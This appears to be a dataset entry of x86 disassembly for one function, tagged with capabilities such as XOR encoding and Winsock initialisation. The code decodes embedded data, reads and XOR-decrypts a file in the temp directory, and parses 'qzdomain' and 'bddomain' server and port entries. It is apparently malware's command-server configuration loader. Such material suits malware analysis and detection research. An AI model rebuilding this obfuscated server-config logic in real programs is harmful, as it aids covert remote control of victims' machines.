Function at 0x4020f0
Capabilities:
Encode data using xor
Initialize winsock library
Query environment variable

Disassembly:
push 0xffffffffffffffff
push 0x40c091
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x5d0
mov eax, dword [str.ilm_nk]
mov ecx, dword [0x41104c]
push ebp
push edi
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], ecx
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x30]
lea edx, [esp + 0x448]
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [esp + 0x344]
push edx
push 0x202
rep stosd dword es:[edi], eax
mov dword [0x412684], 0x411050
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor ebp, ebp
cmp eax, ebp
jne 0x40250a
push ebx
push esi
mov eax, 5
mov ecx, dword [0x412684]
mov bl, byte [ecx + eax]
xor bl, 0x12
mov byte [ecx + eax], bl
inc eax
cmp eax, 0xd
jb 0x402169
mov ebx, 0x40d2d0
lea ecx, [esp + 0x240]
mov dword [esp + 0x240], ebx
call fcn.0040ba30
mov eax, dword [0x412684]
push 7
add eax, 5
lea ecx, [esp + 0x244]
push eax
mov dword [esp + 0x5f0], ebp
call fcn.0040ba60
mov edi, dword [0x412684]
mov esi, 0xe
lea ecx, [esp + 0x240]
call fcn.0040bae0
mov dl, byte [edi + esi]
xor dl, al
mov byte [edi + esi], dl
inc esi
cmp esi, 0x651
jb 0x4021bf
lea edi, [esp + 0x30]
or ecx, 0xffffffff
xor eax, eax
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x40220c
mov cl, byte [esp + edx + 0x30]
lea edi, [esp + 0x30]
xor cl, 0xa
xor eax, eax
mov byte [esp + edx + 0x30], cl
or ecx, 0xffffffff
inc edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp edx, ecx
jb 0x4021ee
lea ecx, [esp + 0x30]
lea edx, [esp + 0x34c]
push ecx
push str.__temp___s
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
lea eax, [esp + 0x30]
lea ecx, [esp + 0x34c]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edx, [esp + 0x30]
push ebp
push edx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
je 0x40249d
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CFile::CFile_1
push ebp
lea eax, [esp + 0x34]
push 2
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x5f4], 1
call sub.MFC42.DLL_CFile::Open
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CFile::GetLength
mov esi, eax
lea ecx, [esi + 1]
push ecx
call sub.MFC42.DLL_operatornew
add esp, 4
mov edi, eax
lea ecx, [esp + 0x20]
push esi
push edi
call sub.MFC42.DLL_CFile::Read
lea ecx, [esp + 0x134]
mov dword [esp + 0x134], ebx
call fcn.0040ba30
push 3
push str.init
lea ecx, [esp + 0x13c]
mov byte [esp + 0x5f0], 2
call fcn.0040ba60
test esi, esi
jle 0x4022ed
lea ecx, [esp + 0x134]
call fcn.0040bae0
mov dl, byte [edi + ebp]
xor dl, al
mov byte [edi + ebp], dl
inc ebp
cmp ebp, esi
jl 0x4022d4
mov ebp, dword [sym.imp.MSVCRT.dll_strtok]
lea ecx, [esp + 0x14]
mov byte [edi + esi], 0
mov edx, dword [str.:__n]
mov al, byte [0x4118f4]
push ecx
push edi
mov dword [esp + 0x1c], edx
mov byte [esp + 0x20], al
call ebp
mov esi, eax
add esp, 8
test esi, esi
mov dword [esp + 0x10], 0
je 0x402485
xor ebx, ebx
xor edi, edi
mov dword [esp + 0x1c], edi
mov eax, dword [esp + 0x10]
mov ecx, 3
cdq
idiv ecx
test edx, edx
jne 0x402461
push 8
push str.qzdomain
push esi
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x4023d5
lea edx, [esp + 0x14]
push edx
push eax
call ebp
add esp, 8
cmp edi, 0x318
jge 0x40239b
mov ecx, dword [0x412684]
lea edx, [edi + ecx + 0x335]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x1c]
lea ecx, [esp + 0x14]
push ecx
push 0
call ebp
add esp, 8
cmp edi, 0x318
jge 0x4023c6
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov edx, dword [0x412684]
add esp, 4
mov dword [edi + edx + 0x439], eax
add edi, 0x108
mov dword [esp + 0x1c], edi
jmp 0x40245c
push 8
push str.bddomain
push esi
call dword [sym.imp.MSVCRT.dll__strnicmp]
add esp, 0xc
test eax, eax
jne 0x402461
lea eax, [esp + 0x14]
push eax
push 0
call ebp
add esp, 8
cmp ebx, 0x318
jge 0x40242b
mov ecx, dword [0x412684]
mov edi, eax
xor eax, eax
lea edx, [ebx + ecx + 0x1d]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x1c]
lea ecx, [esp + 0x14]
push ecx
push 0
call ebp
add esp, 8
cmp ebx, 0x318
jge 0x402456
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov edx, dword [0x412684]
add esp, 4
mov dword [ebx + edx + 0x121], eax
add ebx, 0x108
add dword [esp + 0x10], 2
lea eax, [esp + 0x14]
push eax
push 0
call ebp
mov ecx, dword [esp + 0x18]
add esp, 8
mov esi, eax
inc ecx
test esi, esi
mov dword [esp + 0x10], ecx
jne 0x40232f
mov ebx, 0x40d2d0
lea ecx, [esp + 0x20]
mov dword [esp + 0x134], ebx
mov byte [esp + 0x5e8], 0
call sub.MFC42.DLL_CFile::CFile
mov ecx, dword [0x412684]
mov dword [ecx + 0x64d], 0x1883e
call fcn.00404f50
mov eax, dword [0x412684]
mov edx, dword [eax + 0x121]
lea ecx, [eax + 0x1d]
push edx
mov edx, dword [eax + 0x439]
push ecx
add eax, 0x335
push edx
push eax
push str.qz_srv__s__d_tbd_srv__s__d_n
push 0x4124b8
call fcn.00403a20
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov esi, dword [sym.imp.MSVCRT.dll_rand]
add esp, 0x20
call esi
push 0
call fcn.00402530
call esi
push 0
call fcn.00402f40
pop esi
pop ebx
mov ecx, dword [esp + 0x5d8]
pop edi
pop ebp
mov dword fs:[0], ecx
add esp, 0x5dc
ret